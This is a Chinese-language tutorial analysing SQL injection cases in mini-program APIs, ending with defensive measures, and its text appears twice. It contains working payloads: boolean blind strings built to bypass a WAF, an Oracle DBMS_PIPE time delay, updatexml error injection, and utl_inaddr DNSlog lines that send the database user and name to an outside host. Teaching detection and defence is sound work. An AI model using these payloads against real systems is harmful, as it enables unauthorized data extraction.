edu-SQL注入案例分享
字数 1441 2025-08-06 12:21:05

SQL注入实战案例分析与防御教学

0x00 前言

本教学文档基于多个真实小程序SQL注入案例,详细分析注入原理、检测方法和防御措施。这些案例均在小程序JSON接口中发现,主要由于接口权限控制不足和SQL语句处理不当导致。

0x01 案例一:布尔盲注绕过WAF

漏洞发现过程

  1. 通过Burp Suite和Proxifier抓取小程序数据包
  2. 发现API参数遍历可获取敏感信息(姓名、身份证、学号等)
  3. 单引号测试触发SQL报错
  4. 确认order_flow_status参数存在注入点

WAF绕过技术

系统禁用了以下函数:

  • select, ascii, substr, sleep, waitfor delay, mid, left, concat等

可用函数:

  • database(), length(), exp(), ord(), right()

布尔盲注技术详解

1. 判断注入点

exp(0)=1  -- 返回true
exp(0)=2  -- 返回false

2. 数据库版本探测

length(version())=10  -- 判断版本号长度
right(version(),1)=1  -- 逐个字符判断

3. 数据库名探测

length(database())=12  -- 判断数据库名长度
ord(right(database(),1))=97  -- 通过ASCII值判断字符

关键函数说明

  • exp(): 指数函数,用于构造布尔条件
  • ord(): 返回字符的ASCII值
  • right(): 返回字符串右侧指定数量的字符

0x02 案例二:Oracle数据库注入

漏洞特征

  • 输入27551 or 1=1返回所有数据
  • 缺少from关键字提示Oracle环境

注入技术

1. 延时注入

and DBMS_PIPE.RECEIVE_MESSAGE('ICQ',5)=1  -- 延时5秒

2. DNSlog带外注入

-- 查询用户名
and (select utl_inaddr.get_host_address((select user from dual)||'.dnslog地址') from dual)is not null

-- 查询库名
and (select utl_inaddr.get_host_address((select name from v$database)||'.dnslog地址') from dual)is not null

Oracle特有函数

  • DBMS_PIPE.RECEIVE_MESSAGE: 用于延时注入
  • utl_inaddr.get_host_address: 用于DNS带外查询

0x03 常规注入技术

报错注入

'and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) -- q

SQLmap使用技巧

  • 小程序抓包需在host后加443端口
  • 确保https协议正确处理

0x04 小程序渗透测试方法论

1. 测试流程

  • 点击所有功能,逐个分析数据包
  • 重点检查敏感信息泄露和未授权接口
  • 参数逐个测试,特别是:
    • 用户名参数
    • ID参数
    • 分页功能参数

2. 测试优先级

  1. 手工测试优先,确认基本注入点
  2. 确认无WAF后再使用SQLmap
  3. 文件上传功能检查静态目录上传
  4. 平行越权常伴随SQL注入

0x05 防御措施

1. 输入验证

  • 使用白名单验证所有输入
  • 对特殊字符进行转义或过滤

2. 权限控制

  • 实施最小权限原则
  • 接口添加严格的权限验证

3. 安全编码

  • 使用参数化查询或预处理语句
  • 避免直接拼接SQL语句

4. WAF配置

  • 部署Web应用防火墙
  • 定期更新防护规则

5. 日志监控

  • 记录所有数据库操作
  • 监控异常查询模式

附录:SQL注入常用函数速查表

函数 描述 用途
database() 当前数据库名 信息收集
version() 数据库版本 信息收集
user() 当前用户名 权限提升
load_file() 读取文件 文件读取
into outfile 写入文件 文件写入
concat() 字符串连接 数据提取
substr() 截取字符串 数据提取
ascii() ASCII值转换 盲注
sleep() 延时函数 时间盲注
count() 计数 判断条件

通过本教学文档,安全人员可以全面了解小程序中SQL注入的检测方法和防御策略,企业开发人员可以学习如何避免此类漏洞。

SQL注入实战案例分析与防御教学 0x00 前言 本教学文档基于多个真实小程序SQL注入案例,详细分析注入原理、检测方法和防御措施。这些案例均在小程序JSON接口中发现,主要由于接口权限控制不足和SQL语句处理不当导致。 0x01 案例一:布尔盲注绕过WAF 漏洞发现过程 通过Burp Suite和Proxifier抓取小程序数据包 发现API参数遍历可获取敏感信息(姓名、身份证、学号等) 单引号测试触发SQL报错 确认 order_flow_status 参数存在注入点 WAF绕过技术 系统禁用了以下函数: select, ascii, substr, sleep, waitfor delay, mid, left, concat等 可用函数: database(), length(), exp(), ord(), right() 布尔盲注技术详解 1. 判断注入点 2. 数据库版本探测 3. 数据库名探测 关键函数说明 exp() : 指数函数,用于构造布尔条件 ord() : 返回字符的ASCII值 right() : 返回字符串右侧指定数量的字符 0x02 案例二:Oracle数据库注入 漏洞特征 输入 27551 or 1=1 返回所有数据 缺少from关键字提示Oracle环境 注入技术 1. 延时注入 2. DNSlog带外注入 Oracle特有函数 DBMS_PIPE.RECEIVE_MESSAGE : 用于延时注入 utl_inaddr.get_host_address : 用于DNS带外查询 0x03 常规注入技术 报错注入 SQLmap使用技巧 小程序抓包需在host后加443端口 确保https协议正确处理 0x04 小程序渗透测试方法论 1. 测试流程 点击所有功能,逐个分析数据包 重点检查敏感信息泄露和未授权接口 参数逐个测试,特别是: 用户名参数 ID参数 分页功能参数 2. 测试优先级 手工测试优先,确认基本注入点 确认无WAF后再使用SQLmap 文件上传功能检查静态目录上传 平行越权常伴随SQL注入 0x05 防御措施 1. 输入验证 使用白名单验证所有输入 对特殊字符进行转义或过滤 2. 权限控制 实施最小权限原则 接口添加严格的权限验证 3. 安全编码 使用参数化查询或预处理语句 避免直接拼接SQL语句 4. WAF配置 部署Web应用防火墙 定期更新防护规则 5. 日志监控 记录所有数据库操作 监控异常查询模式 附录:SQL注入常用函数速查表 | 函数 | 描述 | 用途 | |------|------|------| | database() | 当前数据库名 | 信息收集 | | version() | 数据库版本 | 信息收集 | | user() | 当前用户名 | 权限提升 | | load_ file() | 读取文件 | 文件读取 | | into outfile | 写入文件 | 文件写入 | | concat() | 字符串连接 | 数据提取 | | substr() | 截取字符串 | 数据提取 | | ascii() | ASCII值转换 | 盲注 | | sleep() | 延时函数 | 时间盲注 | | count() | 计数 | 判断条件 | 通过本教学文档,安全人员可以全面了解小程序中SQL注入的检测方法和防御策略,企业开发人员可以学习如何避免此类漏洞。